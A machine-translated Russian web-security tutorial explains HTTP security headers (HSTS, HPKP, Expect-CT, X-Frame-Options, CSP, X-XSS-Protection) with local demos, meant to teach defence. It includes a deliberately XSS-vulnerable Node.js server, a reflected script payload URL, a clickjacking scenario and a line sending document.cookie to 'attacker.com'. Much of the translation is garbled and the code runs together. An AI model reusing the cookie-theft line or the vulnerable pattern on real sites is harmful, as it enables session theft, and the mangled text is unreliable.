Автор оригинала: FreeCodeCamp Community Member.
Алексом Надалин
Это часть 3 серии о веб-безопасности: часть 2 была ” Веб-безопасность: введение в http “
Как мы видели в предыдущих частях этой серии, серверы могут отправлять заголовки HTTP, чтобы предоставить клиенту дополнительные метаданные вокруг ответа, помимо отправки контента, который запросил клиент. Затем клиенты позволяют указывать, как следует прочитать конкретный ресурс, кэшировать или закрепить.
В настоящее время есть очень большой спектр заголовков, связанных с безопасностью, которые были реализованы браузерами, чтобы сделать его сложнее, чтобы злоумышленники воспользоваться преимуществами уязвимостей. Следующие абзацы пытаются обобщить каждого из них, объяснив, как они используются, какие они предотвращают атаки, и немного истории за каждым заголовком.
HTTP Strict Transport Security (HSTS)
С конца 2012 года HTTPS-везде верующие упрощают облегчить заставить клиента всегда использовать безопасную версию HTTP-протокола, благодаря HTTP Strict Transport Security : очень простой Строгий транспорт-Безопасность: скажу браузеру, что на следующий час (3600 секунд) он не должен взаимодействовать с приложением с небезопасными протоколами.
Когда пользователь пытается получить доступ к приложению, закрепленному HST через http, браузер просто откажется от того, чтобы идти вперед, автоматически конвертировать http:// URL до https:// Отказ
Вы можете проверить это локально с кодом в github.com/odino/wasec/tree/master/hsts Отказ Вам нужно будет следовать инструкциям в readme (они включают в себя установку доверенного сертификата SSL для localhost на вашей машине, через удивительную mkcert инструмент), а затем попробуйте открыть https://localhost: 7889 Отказ
В этом примере есть 2 сервера, HTTPS, которые прослушивают 7889 и http один на порту 7888 Отказ Когда вы получите доступ к серверу HTTPS, он всегда будет пытаться перенаправить вас в версию HTTP, которая будет работать, поскольку на сервере HTTPS нет политики HSTS. Если вы вместо этого добавьте hsts = на Параметр в вашем URL-адресе, браузер принудительно преобразует ссылку в перенаправлении на свой https:// версия. Так как сервер на 7888 Есть только HTTP, вы получите глядя на страницу, которая выглядит более или менее так. ?
Вам может быть интересно, что произойдет первый раз, когда пользователь посещает ваш сайт, так как нет политики HSTS, не определенной заранее: злоумышленники могут потенциально обмануть пользователю на http:// Версия вашего сайта и совершит их атаку там, так что есть все еще комната для проблем. Это действительная забота, как HSTS – это Доверие к первому использованию механизм. Что он пытается сделать, это убедиться, что, как только вы посетили веб-сайт, браузер знает, что последующее взаимодействие должно использовать HTTPS.
Способ по этому недостатке будет поддерживать огромную базу данных веб-сайтов, которые обеспечивают HSTS, что Chrome делает через hstspreload.org Отказ Сначала вы должны сначала установить свою политику, затем посетить веб-сайт и проверьте, следует ли его добавить в базу данных. Например, мы можем увидеть Facebook сделать список.
Отправляя свой веб-сайт в этот список, вы можете заранее сообщить браузерам, чтобы ваш сайт использует HSTS, так что даже первое взаимодействие между клиентами и вашим сервером будет через безопасный канал. Но это происходит по стоимости, так как вам действительно нужно обязать HSTS. Если, по любой шанштам, вы хотите, чтобы ваш сайт был удален из списка, который не простая задача для поставщиков браузера:
Это происходит потому, что поставщик не может гарантировать, что все пользователи будут в последней версии своего браузера, с удаленным сайтом из списка. Думайте внимательно и примите решение на основе вашей степени уверенности в HSTS и вашей способности поддерживать его в долгосрочной перспективе.
HTTP Public Key Pinning (HPKP)
HTTP Public Key Pinning – это механизм, который позволяет нам рекламировать браузером, какие сертификаты SSL ожидают всякий раз, когда он подключается к нашим серверам. Это Доверие к первому использованию Заголовок, как и HSTS, что означает, что, как только клиент подключится к нашему серверу, он будет хранить информацию о сертификате для последующих взаимодействий. Если в любой момент времени клиент обнаруживает, что другой сертификат используется сервером, он вежливо отказывается подключать, рендеринг Человек в середине (MITM) Атаки очень трудно снять.
Вот как выглядит политика HPKP:
Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect"
Заголовок рекламирует, какие сертификаты будут использоваться сервер (в этом случае это два из них), используя хеш сертификатов и включает в себя дополнительную информацию, такую как время для жизни настоящей Директивы ( Max-Age = 3600 ), а еще несколько подробностей. К сожалению, нет смысла копаться глубже, чтобы понять, что мы можем сделать с открытым ключом, как Эта функция устарена Chrome – сигнал, который его принятие суждено очень скоро уделить.
Решение Chrome не является иррациональным, но просто следствие рисков, связанных с государственным ключевым закреплением. Если вы потеряете свой сертификат, или просто допустите ошибку во время тестирования, ваш сайт будет недоступным пользователям, которые посетили сайт ранее (на протяжении продолжительности Директивы Max-Age , которая обычно неделями или месяцами).
В результате этих потенциально катастрофических последствий принятие HPKP было чрезвычайно низким, и были инциденты, где Большие веб-сайты были недоступны из-за неправильной настройки. Все, что считается, что Chrome решил, что пользователи лучше без защиты, предлагаемой HPKP – и Исследователи безопасности не совсем не против этого решения Отказ
Ожидать
Хотя HPKP обеснабрена, новый заголовок наступил в силу, чтобы предотвратить обслуживание мошеннических SSL для клиентов: Ожидание-CT Отказ
Целью этого заголовка является проинформирование браузера, что он должен выполнить дополнительные «фоновые проверки», чтобы убедиться, что сертификат является подлинным: когда сервер использует Ожидание-CT Заголовок, он принципиально запрашивает клиента убедиться, что используемые сертификаты присутствуют в журналах общественного сертификата (CT).
Инициатива по прозрачности сертификата – это усилие, возглавляемое Google, чтобы предоставить:
Заголовок принимает эту форму:
Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"
В этом примере сервер просит браузера:
- Включите проверку CT для текущего приложения в течение 1 часа (3600 секунд)
принуждатьЭта политика и предотвращение доступа к приложению, если нарушение происходит- Отправьте отчет данному URL, если происходит нарушение
Цель инициативы по прозрачности сертификата состоит в том, чтобы обнаружить неправильно выпущенные или вредоносные сертификаты (и органы мошенничества) ранее, быстрее, а точнее, чем любой другой метод, используемый ранее.
Обратившись с использованием Ожидание-CT Заголовок, вы можете воспользоваться этой инициативой для улучшения позы безопасности вашего приложения.
X-кадр-варианты
Представьте себе, как просмотр веб-страницы, такая как эта появляется перед экраном:
Как только вы нажимаете на ссылку, вы понимаете, что все деньги на вашем банковском счете ушли. Что произошло?
Вы были жертвой clickjing атака.
Злоумышленник направил вас на свой веб-сайт, что отображает очень привлекательную ссылку, чтобы щелкнуть. К сожалению, он также встроен на страницу Iframe из your-bank.com/transfer?amount=-1& [Atticker@gmail.com] Но спрятал его, устанавливая его непрозрачность до 0%. Что тогда произошло, это то, что мысль о щелчке на оригинальной странице, пытаясь выиграть совершенно новый Hummer, но вместо этого браузер захватил щелчок IFrame, опасный щелчок, который подтвердил передачу денег.
Большинство банковских систем требуют, чтобы вы указываете одноразовый PIN-код для подтверждения транзакций, но ваш банк не договорился со временем, и все ваши деньги ушли.
Пример довольно экстремальный, но должен позволить вам понять, что могут быть последствиями Атака Clickjack Отказ Пользователь намерен нажать на определенную ссылку, а браузер запускает щелчок на странице «Невидимая», которая была встроена как iFrame.
Я включил пример этой уязвимости в github.com/odino/wasec/tree/master/Clickjacking Отказ Если вы запускаете пример и попробуйте нажать на «привлекательный» ссылку, вы увидите, что фактический клик перехвачен IFRame, который увеличивает его непрозрачность, чтобы вам было проще определить проблему. Пример должен быть доступен в http://localhost: 7888 Отказ
К счастью, браузеры придумали простое решение проблемы: X-кадр-варианты (XFO), который позволяет вам решить, может ли ваше приложение встроен в виде iframe на внешних веб-сайтах. XFO был впервые введен в 2009 году и все еще поддерживается всеми крупными браузерами.
Как это работает, когда браузер видит IFrame, он загружает его и проверяет, что его XFO позволяет его включить в текущую страницу, прежде чем рендурировать его.
Поддерживаемые значения:
Отрицать: Эта веб-страница не может быть встроена где угодно. Это самый высокий уровень защиты, поскольку он не позволяет никому встроить наш контент.Sameorigin: Только страницы из того же домена, что и текущий, может встроить эту страницу. Это означает, чтоexample.com/embedderможно загрузитьexample.com/embeddedдо тех пор, пока его политика установлена наSameoriginОтказ Это более расслабленная политика, которая позволяет владельцам конкретного веб-сайта встроить свои собственные страницы в их применении.Разрешить - от URI: Встраивание разрешено от указанного УРИ. Например, мы могли бы, например, пусть внешний, авторизованный веб-сайт встроен на наш контент с помощьюРазрешить - от https://external.comОтказ Обычно это используется, когда вы намереваетесь позволить третьей стороне встроить ваш контент через iFrame
Пример HTTP-ответа, который включает в себя самую строгую политику XFO, выглядит как:
HTTP/1.1 200 OKContent-Type: application/jsonX-Frame-Options: DENY
...
Чтобы продемонстрировать, как ведут себя браузеры, когда XFO включен, мы можем просто изменить URL нашего примера на http://localhost: 7888/? XFO = On Отказ XFO = на Параметр говорит серверу включать X-кадр-варианты: отрицать В ответ, и мы можем видеть, как браузер ограничивает доступ к IFrame:
XFO считался лучшим способом предотвращения атак Clipjack на основе кадров, пока другой заголовок не попал в пьесу спустя, политика безопасности контента или CSP для коротких.
Политика безопасности контента (CSP)
Содержание-безопасность-политика Заголовок, часто сокращающийся до CSP, обеспечивает утилитую ремня следующего поколения для предотвращения множества атак, начиная от XSS (скрипты на сайт), чтобы выключить.
Чтобы понять, как CSP помогает нам, мы должны сначала подумать о векторе атаки. Допустим, мы просто построили наш собственный поиск Google, простой входной текст с кнопкой отправки.
Это веб-приложение ничего не делает волшебным. Это просто,
- Отображает форму
- позволяет пользователю выполнить поиск
- Отображает результаты поиска наряду с ключевым словом, который пользователь ищет
Когда мы выполняем простой поиск, это то, что возвращает приложение:
Удивительный! Наше приложение невероятно поняло наш поиск и нашел связанное изображение. Если мы копаем глубже в исходном коде, доступно в github.com/odino/wasec/tree/master/xss , мы скоро поймем, что приложение представляет проблему безопасности, как и все никакие ключевое слово, что пользователь ищет непосредственно напечатано в ответе HTML, обслуживаемый клиенту:
var qs = require('querystring')var url = require('url')var fs = require('fs')require('http').createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "${keyword}", we found:
` : `Try searching...`res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results))}).listen(7888)Search The Web
Это представляет противное последствие. Атакующий может создать определенную ссылку, которая выполняет произвольный JavaScript в браузере жертв.
Если у вас есть время и терпение, чтобы запустить пример локально, вы сможете быстро понять мощность CSP. Я добавил параметр строки запроса, включающий CSP, поэтому мы можем попробовать навигацию на вредоносную URL с включенным CSP:
http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on
Как вы видите в примере выше, мы сообщили браузеру, что наша политика CSP позволяет только скрипты, включенные из того же происхождения текущего URL, который мы можем легко проверить, скручивая URL и просмотр заголовка ответа:
$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"
HTTP/1.1 200 OKX-XSS-Protection: 0Content-Security-Policy: default-src 'self'Date: Sat, 11 Aug 2018 10:46:27 GMTConnection: keep-alive
Поскольку атака XSS была совершена через встроенный скрипт (Сценарий непосредственно встроен в содержимое HTML), браузер вежливо отказался выполнять его, сохраняя наш пользовательский сейф. Представьте, что, вместо просто отображения диалогового окна оповещения, злоумышленник настроил бы перенаправить на свой собственный домен, через какой-либо код JavaScript, который может выглядеть так:
window.location = `attacker.com/${document.cookie}`Они смогли бы украсть все файлы куки пользователя, что может содержать высокочувствительные данные (подробнее об этом в следующей статье).
К настоящему времени следует ясно, как CSP помогает нам предотвратить диапазон атак на веб-приложения. Вы определяете политику, и браузер будет строго придерживаться этого, отказываясь за управление ресурсами, которые нарушают политику.
Интересная вариация CSP – это только отчет режим. Вместо использования Содержание-безопасность-политика Заголовок, вы можете сначала проверить влияние CSP на вашем сайте, сообщив браузеру просто сообщить об ошибках, не блокируя выполнение скрипта и так далее, используя Содержание-безопасность-политика - только отчет о докладе заголовок
Отчетность позволит вам понять, что нарушение изменяет политику CSP, которую вы хотели бы откатить, может привести к тому, что они соответствуют их соответствующим образом. Мы даже можем указать URL отчет, и браузер отправит нам отчет. Вот полный пример политики только в отчете:
Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector
Политики CSP могут быть немного сложными самостоятельно, например, в следующем примере:
Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com
Эта политика определяет следующие правила:
- Исполняемые сценарии (например, JavaScript) могут быть загружены только из
Scripts.example.com. - Изображения могут быть загружены из любого происхождения (
IMG-SRC: *) - Видео или аудиоконтент можно загрузить из двух истоков:
Medias.example.comиMediaS.Legacy.example.com.
Как видите, политики могут стать длинными, и если мы хотим обеспечить самую высокую защиту для наших пользователей, это может стать довольно утомительным процессом. Тем не менее, написание комплексной политики CSP является важным шагом к добавлению дополнительного слоя безопасности в наших веб-приложений.
Для получения дополнительной информации вокруг CSP я бы порекомендовал глубокое погружение в developer.mozilla.org/en-us/docs/web/http/csp Отказ
X-XSS-защита
Хотя вытесняется CSP, X-XSS-защита Заголовок обеспечивает аналогичный тип защиты. Этот заголовок используется для смягчения атак XSS в старших браузерах, которые не полностью поддерживают CSP. Этот заголовок не поддерживается Firefox.
Его синтаксис очень похож на то, что мы только что видели:
X-XSS-Protection: 1; report=http://xssviolations.example.com/collector
Отраженные XSS является наиболее распространенным типом атаки, где нецитанский вход напечатан сервером без какой-либо проверки, и именно этот заголовок действительно сияет. Если вы хотите увидеть это самостоятельно, я бы порекомендовал попробовать пример на github.com/odino/wasec/tree/master/xss Как, добавляя XSS = на К URL он показывает, что делает браузер при включении защиты XSS. Если мы введем вредоносную строку в нашем поле поиска, например